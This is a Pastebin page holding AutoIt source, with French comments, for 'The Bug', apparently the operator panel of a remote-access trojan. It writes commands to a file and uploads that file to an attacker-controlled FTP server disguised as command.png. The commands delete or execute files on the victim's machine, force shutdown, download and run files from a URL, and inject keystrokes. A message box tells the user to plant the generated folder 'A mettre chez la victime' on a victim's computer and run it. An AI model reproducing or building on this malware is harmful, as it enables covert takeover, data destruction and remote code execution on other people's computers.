Advertisement
Wyvern67

The Bug

Mar 31st, 2015
372
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
AutoIt 13.04 KB | None | 0 0
  1. ;AutoIt: Les variables sont précédées d'un $
  2. ;Les commentaires sont définis par ;
  3. ;La variable @error est utilisée par toutes les fonctions pour stocker des codes d'erreurs
  4. ;Les tableaux se déclarent ainsi: Dim $variable[#index]
  5. ;"!=" s'écrit "<>"
  6. ;On connecte les chaînes de caractères avec le symbole &. "chaîne " & "de " & "caractère."
  7. ;@CRLF == retour à la ligne
  8.  
  9. #include <ButtonConstants.au3>
  10. #include <EditConstants.au3>
  11. #include <GUIConstantsEx.au3>
  12. #include <StaticConstants.au3>
  13. #include <WindowsConstants.au3>
  14. #Include <FTPEx.au3>
  15. #Include <GDIPlus.au3>
  16. #Include <String.au3>
  17.  
  18. ;Prototypes de variables
  19. $FTP_Connected = False
  20. $Con1Session = ""
  21. $FDir = @ScriptDir&"\command.dbh"
  22. $Con1SId = ""
  23. Global $Radio[6]
  24. $TheRadioChecked = 0
  25. $RadioT = 0
  26. $softwareName = "The Bug"
  27.  
  28. AdlibRegister("WifiBarsUpdate", 1000)
  29.  
  30. ;GUI principal
  31. #Region ### START Koda GUI section ### Form=
  32. $Form1 = GUICreate($softwareName, 625, 445, 192, 124)
  33. $Group1 = GUICtrlCreateGroup("Manipulation de fichiers", 16, 168, 273, 153)
  34. $Input1 = GUICtrlCreateInput("Chemin", 24, 192, 257, 21)
  35. $Button1 = GUICtrlCreateButton("Supprimer", 24, 216, 73, 25, 0)
  36. $Button2 = GUICtrlCreateButton("Executer", 104, 216, 73, 25, 0)
  37. $Label1 = GUICtrlCreateLabel("Note : Si un dossier est sélectionné, il ne sera pas "&@CRLF&"supprimé. Seul son contenu le sera.", 24, 248, 250, 48)
  38. GUICtrlCreateGroup("", -99, -99, 1, 1)
  39. $Group2 = GUICtrlCreateGroup("Allimentation", 296, 168, 153, 153)
  40. $Button3 = GUICtrlCreateButton("Executer", 304, 288, 137, 25, 0)
  41. $Radio[0] = GUICtrlCreateRadio("Fermer la session", 304, 192, 113, 17, $WS_TABSTOP)
  42. $Radio[1] = GUICtrlCreateRadio("Redémarrer", 304, 208, 113, 17)
  43. $Radio[2] = GUICtrlCreateRadio("Arrêt propre", 304, 224, 113, 17)
  44. $Radio[3] = GUICtrlCreateRadio("Couper allimentation", 304, 240, 113, 17)
  45. $Radio[4] = GUICtrlCreateRadio("Mettre en hibernation", 304, 256, 140, 17)
  46. GUICtrlCreateGroup("", -99, -99, 1, 1)
  47. $Pic1 = GUICtrlCreatePic(@ScriptDir&"\Logo.jpg", 625/2-600/2, 8, 600, 140)
  48. $Group3 = GUICtrlCreateGroup("Screensaver", 456, 168, 153, 153)
  49. $Label2 = GUICtrlCreateLabel("A venir", 512, 232, 37, 17)
  50. $Group4 = GUICtrlCreateGroup("Téléchargement", 16, 328, 273, 105)
  51. $Input2 = GUICtrlCreateInput("Adresse web de téléchargement (Directe)", 24, 352, 257, 21)
  52. $Input3 = GUICtrlCreateInput("Dossier où sera envoyé le fichier téléchargé", 24, 376, 233, 21)
  53. $Checkbox2 = GUICtrlCreateCheckbox("", 264, 378, 17, 17)
  54. $Button4 = GUICtrlCreateButton("Télécharger", 24, 400, 73, 25, 0)
  55. $Checkbox1 = GUICtrlCreateCheckbox("Ouvrir quand téléchargé", 110, 403, 137, 17)
  56. GUICtrlCreateGroup("", -99, -99, 1, 1)
  57. GUICtrlSetState($Checkbox2, $GUI_CHECKED)
  58. $Group5 = GUICtrlCreateGroup("Prise de contrôle clavier", 296, 328, 313, 105)
  59. $Edit1 = GUICtrlCreateEdit("", 304, 344, 297, 41)
  60. $Button5 = GUICtrlCreateButton("Faire écrire", 304, 400, 81, 25, 0)
  61. GUICtrlCreateGroup("", -99, -99, 1, 1)
  62. GUISetState(@SW_HIDE)
  63. #EndRegion ### END Koda GUI section ###
  64.  
  65. ;GUI Ecran de connexion
  66. If FileExists(@ScriptDir&"\envoyeur.ini") Then ;Lire l'ini et mettre les bonnes infos
  67.     $DVIP = IniRead(@ScriptDir&"\A mettre chez la victime\receiver.ini", "FTP", "URL", "http://monsite.com/dossier")
  68.     If $DVIP <> "http://monsite.com/dossier" Then $DVIP = _StringEncrypt(0, $DVIP, "Stallman", 1)
  69.     $DIP=IniRead(@ScriptDir&"\envoyeur.ini", "Connecting", "Ip", "255.255.255.255")
  70.     $DUser=IniRead(@ScriptDir&"\envoyeur.ini", "Connecting", "User", "")
  71.     $Dpass=IniRead(@ScriptDir&"\envoyeur.ini", "Connecting", "Pass", "Password")
  72.     If $Dpass <> "" Then $Dpass = _StringEncrypt(0, $Dpass, "Stallman", 1)
  73.     $Dport=IniRead(@ScriptDir&"\envoyeur.ini", "Connecting", "Port", "21")
  74. Else ;Mettre tout a défaut
  75.     MsgBox(16, $softwareName&" Error", "Le fichier envoyeur.ini est introuvable")
  76.     $DIP = "255.255.255.255"
  77.     $Dpass = "Password"
  78.     $Dport = "21"
  79.     $DUser = ""
  80. EndIf
  81.  
  82. $Form2 = GUICreate($softwareName&": Ecran de connexion", 314, 186, 252, 325)
  83. $fInput1 = GUICtrlCreateInput($DIP, 96, 8, 193, 21)
  84. $fLabel1 = GUICtrlCreateLabel("Ftp libre:", 8, 8, 84, 17)
  85. $fInput2 = GUICtrlCreateInput($DUser, 96, 32, 193, 21)
  86. $fLabel2 = GUICtrlCreateLabel("Nom d'utilisateur:", 8, 32, 84, 17)
  87. $fInput3 = GUICtrlCreateInput($Dpass, 96, 56, 193, 21, BitOR($ES_PASSWORD,$ES_AUTOHSCROLL))
  88. $fLabel3 = GUICtrlCreateLabel("Mot de passe:", 8, 56, 84, 17)
  89. $fLabel4 = GUICtrlCreateLabel("Port:", 8, 80, 84, 17)
  90. $fInput4 = GUICtrlCreateInput($Dport, 96, 80, 193, 21)
  91. $gLabel1 = GUICtrlCreateLabel("Page victime:", 8, 104, 84, 17)
  92. $gInput = GUICtrlCreateInput($DVIP, 96, 104, 193, 21)
  93. $gButton1 = GUICtrlCreateButton("?", 290, 104, 22, 22)
  94. $fButton1 = GUICtrlCreateButton("Connecter", 208, 132, 81, 25, 0)
  95. $fButton2 = GUICtrlCreateButton("Par défaut", 8, 132, 81, 25, 0)
  96. HotKeySet("+k", "Tempfunc")
  97. GUISetState(@SW_SHOW)
  98.  
  99.  
  100.  
  101.  
  102.  
  103.  
  104.     ;Début des interractions GUI
  105.  
  106. While 1
  107. $nMsg = GUIGetMsg()
  108.  
  109. Switch $nMsg
  110. Case $GUI_EVENT_CLOSE
  111.     If $FTP_Connected = True Then
  112.         _FTP_Close($Con1Session)
  113.     EndIf
  114.     Exit
  115.  
  116. ;_SendCommand envoie une commande au receveur, syntaxe: _SendCommand(Commande à envoyer, Paramètre de la commande si aucun mettre bool False)
  117. Case $Button1 ;Destruction: Supprimer
  118.     $Command1 = GUICtrlRead($Input1)
  119.     _SendCommand("DSuppr", $Command1)
  120.  
  121. Case $Button2 ;Destruction: Executer
  122.     $Command1 = GUICtrlRead($Input1)
  123.     _SendCommand("DExec", $Command1)
  124.  
  125.  
  126. Case $Button3 ;Allimentation: Executer
  127.     While 1
  128.         $TheRadioChecked = GUICtrlRead($Radio[$RadioT])
  129.  
  130.         If $TheRadioChecked = $GUI_CHECKED Then
  131.             ExitLoop
  132.         ElseIf $RadioT >= 5 Then
  133.             $RadioT = 50 ;Valeur random, pas d'idées
  134.             MsgBox(64, $softwareName, "Vous devez cocher au moins un bouton radio")
  135.             ExitLoop
  136.         EndIf
  137.         $RadioT = $RadioT + 1
  138.     WEnd
  139.  
  140.     Switch $RadioT
  141.         Case 0
  142.             $TheRadioChecked = 0
  143.         Case 1
  144.             $TheRadioChecked = 2
  145.         Case 2
  146.             $TheRadioChecked = 1
  147.         Case 3
  148.             $TheRadioChecked = 8
  149.         Case 4
  150.             $TheRadioChecked = 64
  151.         Case 50
  152.             $TheRadioChecked = 50 ;Si il a coché aucune radio
  153.         Case Else
  154.             MsgBox(16, $softwareName&" Error", $softwareName&" n'a pas réussi à déterminer quelle action vous faire effectuer à la gestion de l'allimentation de l'ordinateur distant")
  155.     EndSwitch
  156.     $RadioT = 0
  157.     If $TheRadioChecked = 50 Then
  158.         MsgBox(0, "", "")
  159.     Else
  160.         _SendCommand("AShutdown", $TheRadioChecked)
  161.     EndIf
  162.  
  163. Case $Button4 ;Telechargement: Telecharger
  164.     ;Input2 = URL
  165.     ;Input3 = Dossier
  166.     ;Checkbox2 = Dossier spécifique?
  167.     ;Checkbox1 = Ouvrir quand téléchargé?
  168.  
  169.     $Command1 = GUICtrlRead($Input2)
  170.     If GUICtrlRead($Checkbox2) = $GUI_CHECKED Then ;Si enregistrer dans dossier spécifique
  171.         $Command2 = GUICtrlRead($Input3)
  172.     Else
  173.         $Command2 = ""
  174.     EndIf
  175.     If GUICtrlRead($Checkbox1) = $GUI_CHECKED Then ;Si ouvrir quand téléchargé
  176.         $Command3 = 1
  177.     Else
  178.         $Command3 = 0
  179.     EndIf
  180.     _SendCommand("TDownload", $Command1, $Command2, $Command3)
  181.  
  182.  
  183.  
  184. Case $Checkbox2
  185.     If GUICtrlRead($Checkbox2) = $GUI_CHECKED Then
  186.         GUICtrlSetState($Input3, $GUI_ENABLE)
  187.         GUICtrlSetData($Input3, "Répertoire de téléchargement")
  188.     Else
  189.         GUICtrlSetState($Input3, $GUI_DISABLE)
  190.         GUICtrlSetData($Input3, "Sera envoyé dans le dossier de l'application")
  191.     EndIf
  192.  
  193. Case $Button5 ;Fantôme: Faire écrire
  194.     $Command1 = GUICtrlRead($Edit1)
  195.     _SendCommand("FEdit", $Command1)
  196. Case $fButton1 ;F2: Connecter
  197.     $Con1Ip = GUICtrlRead($fInput1) ;Module de vérification de "/" dans l'ip, informe si l'user veut use un dossier pour le logiciel
  198.     $Slashpos = StringInStr($Con1Ip, "/")
  199.     $AfterSlash = StringMid($Con1Ip, $Slashpos + 1)
  200.     If $Slashpos <> 0 Then
  201.         $Con1Ip = StringMid($Con1Ip, 1, $Slashpos - 1)
  202.         ConsoleWrite("Ip : "&$Con1Ip&@CRLF&"Folder : "&$AfterSlash)
  203.     EndIf
  204.  
  205.     $Con1User = GUICtrlRead($fInput2)
  206.     $Con1Pass = GUICtrlRead($fInput3)
  207.     $Con1Port = GUICtrlRead($fInput4)
  208.     GUISetState(@SW_HIDE, $Form2)
  209.     GUISetState(@SW_SHOW, $Form1)
  210.     ToolTip("La fenêtre peut se bloquer le temps de la connexion", 208, 112, $softwareName, 1)
  211.     WifiBarsUpdate()
  212.     $Con1Session = _FTP_Open("con1")
  213.     $Con1SId = _FTP_Connect($Con1Session, $Con1Ip, $Con1User, $Con1Pass, 0, $Con1Port)
  214.     ToolTip("")
  215.  
  216.  
  217.     If $Con1SId = 0 Then
  218.         MsgBox(16, $softwareName&" Error", "Connexion ratée."&@CRLF&"Erreur : "&@error)
  219.     Else
  220.         $FTP_Connected = True
  221.         If $Slashpos = 0 Then ;Si il n'a pas utilisé un dossier
  222.             IniWrite(@ScriptDir&"\envoyeur.ini", "Connecting", "Ip", $Con1Ip)
  223.         Else
  224.             IniWrite(@ScriptDir&"\envoyeur.ini", "Connecting", "Ip", $Con1Ip&"/"&$AfterSlash)
  225.         EndIf
  226.         IniWrite(@ScriptDir&"\envoyeur.ini", "Connecting", "User", $Con1User)
  227.         $Con1Pass = _StringEncrypt(1, $Con1Pass, "Stallman", 1)
  228.         IniWrite(@ScriptDir&"\envoyeur.ini", "Connecting", "Pass", $Con1Pass)
  229.         IniWrite(@ScriptDir&"\envoyeur.ini", "Connecting", "Port", $Con1Port)
  230.         ;Création du dossier "A mettre chez la victime" et du ini victime
  231.         FileDelete(@ScriptDir&"\A mettre chez la victime\receiver.ini")
  232.         $FtpVictimUrl = GUICtrlRead($gInput)
  233.         FileWriteLine(@ScriptDir&"\A mettre chez la victime\receiver.ini", "[FTP]")
  234.         FileWriteLine(@ScriptDir&"\A mettre chez la victime\receiver.ini", 'URL="'&_StringEncrypt(1, $FtpVictimUrl, "Stallman", 1)&'"')
  235.         MsgBox(64, $softwareName, "Le malware est configuré ! Placez l'intégralité du contenu du dossier "&'"A mettre chez la victime"'&" n'importe où sur l'ordinateur de votre victime, puis lancez l'executable qui s'y trouve une seule fois (Ne vous inquiétez pas si rien ne se passe, il a bien fonctionné). Appuyez sur OK pour entrer dans le panneau de contrôle")
  236.     EndIf
  237. Case $fButton2 ;F2: Par défaut
  238.     GUICtrlSetData($fInput4, "21")
  239.     GUICtrlSetData($fInput1, "255.255.255.255")
  240.     GUICtrlSetData($fInput2, "")
  241.     GUICtrlSetData($fInput3, "Password")
  242.     GUICtrlSetData($gInput, "http://monsite.com/dossier")
  243. Case $gButton1 ;F3: Aide
  244.     MsgBox(64, "Aide", "Pour communiquer avec l'ordinateur contrôlé, vous devez établir une relation entre vous et lui afin qu'il puisse entendre vos ordres. Pour cela nous utilisons un FTP vous appartenant, vous avez indiqué son adresse dans le champs 'FTP' plus haut, ici vous devez convertir l'url en http."&@CRLF&@CRLF&"Si vous avez entré 'ftp.monsite.com/dossier', vous devrez entrer 'http://monsite.com/dossier"&@CRLF&"ATTENTION : Veillez à ne pas mettre de '/' à la fin de l'URL")
  245. EndSwitch
  246. WEnd
  247.  
  248.  
  249. Func Tempfunc()
  250.     GUISetState(@SW_HIDE, $Form2)
  251.     GUISetState(@SW_SHOW, $Form1)
  252. EndFunc
  253.  
  254.  
  255. ;_SendCommand envoie une commande au receveur, syntaxe: _SendCommand(Commande à envoyer, Paramètre de la commande si aucun mettre bool False)
  256. Func _SendCommand($Fcom, $Fparam = "", $Fparam2 = "", $Fparam3 = "")
  257.     $FHandle = FileOpen($FDir, 2)
  258.     FileWrite($FHandle, $Fcom&"°"&$Fparam&"°"&$Fparam2&"°"&$Fparam3)
  259.     FileClose($FHandle)
  260.     If $Slashpos <> 0 Then ;Si l'utilisateur veut utiliser un dossier
  261.         $Command1 = _FTP_FilePut($Con1SId, $FDir, $AfterSlash&"/command.png")
  262.         If $Command1 <> 1 Then
  263.             Local $ftpReturn, $ftpError, $ftpMessage
  264.             $ftpReturn = _FTP_GetLastResponseInfo($ftpError, $ftpMessage)
  265.             MsgBox(16, $softwareName&" Error", 'Le fichier "'&$FDir&'"'&" n'a pas pu être uploadé dans le dossier "&"/"&$AfterSlash&"/command.png,"&@CRLF&"Erreur : "&$ftpMessage)
  266.         EndIf
  267.     Else
  268.         $Command1 = _FTP_FilePut($Con1SId, $FDir, "command.png")
  269.         If $Command1 <> 1 Then
  270.             Local $ftpReturn, $ftpError, $ftpMessage
  271.             $ftpReturn = _FTP_GetLastResponseInfo($ftpError, $ftpMessage)
  272.             MsgBox(16, $softwareName&" Error", 'Le fichier "'&$FDir&'"'&" n'a pas pu être uploadé dans le dossier /command.png,"&@CRLF&"Erreur : "&$ftpMessage)
  273.         EndIf
  274.     EndIf
  275. EndFunc
  276.  
  277. ;Ca sert juste à updater les barres wifi du GUI
  278. Func WifiBarsUpdate()
  279.     If $FTP_Connected = True Then
  280.         PngGuiCreatePic(@ScriptDir&"\Connected.png", 625-29, 445-21, 1, "")
  281.     ElseIf NOT $Con1Session = 0 Then
  282.         PngGuiCreatePic(@ScriptDir&"\Open.png", 625-29, 445-21, 1, "")
  283.     Else
  284.         PngGuiCreatePic(@ScriptDir&"\Closed.png", 625-29, 445-21, 1, "")
  285. EndIf
  286. EndFunc
  287.  
  288.  
  289.  
  290.  
  291.  
  292.  
  293.  
  294.  
  295.  
  296.  
  297.  
  298.  
  299.  
  300.  
  301. Func PngGuiCreatePic($src, $x, $y, $scale = 1, $alt = "")
  302.     Local $gdi_state = $ghGDIPDll
  303.     If $ghGDIPDll = 0 Then _GDIPlus_Startup()
  304.     $hImage2 = _GDIPlus_ImageLoadFromFile($src)
  305.     $ImageHeight = (_GDIPlus_ImageGetHeight($hImage2)) * $scale
  306.     $ImageWidth = (_GDIPlus_ImageGetWidth($hImage2)) * $scale
  307.  
  308.     If $scale <> 1 Then
  309.         $hBitmap = _WinAPI_CreateBitmap($ImageWidth, $ImageHeight, 1, 32)
  310.         $hImage1 = _GDIPlus_BitmapCreateFromHBITMAP($hBitmap)
  311.         $hgraphic = _GDIPlus_ImageGetGraphicsContext($hImage1)
  312.         _GDIPlus_GraphicsDrawImageRect($hgraphic, $hImage2, 0, 0, $ImageWidth, $ImageHeight)
  313.         $hBitmap2 = _GDIPlus_BitmapCreateHBITMAPFromBitmap($hImage1)
  314.         _WinAPI_DeleteObject($hBitmap)
  315.         _GDIPlus_ImageDispose($hImage1)
  316.         _GDIPlus_GraphicsDispose($hgraphic)
  317.     Else
  318.         Local _
  319.                 $hBitmap = _GDIPlus_BitmapCreateFromFile($src), _
  320.                 $hBitmap2 = _GDIPlus_BitmapCreateHBITMAPFromBitmap($hBitmap)
  321.         _GDIPlus_BitmapDispose($hBitmap)
  322.  
  323.  
  324.     EndIf
  325.  
  326.     $pic = GUICtrlCreatePic("", $x, $y, $ImageWidth, $ImageHeight)
  327.     If $alt <> "" Then GUICtrlSetTip($pic, $alt)
  328.     GUICtrlSendMsg($pic, 0x0172, 0, $hBitmap2)
  329. If $gdi_state = 0 Then _GDIPlus_Shutdown()
  330.     Return $pic
  331. EndFunc
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement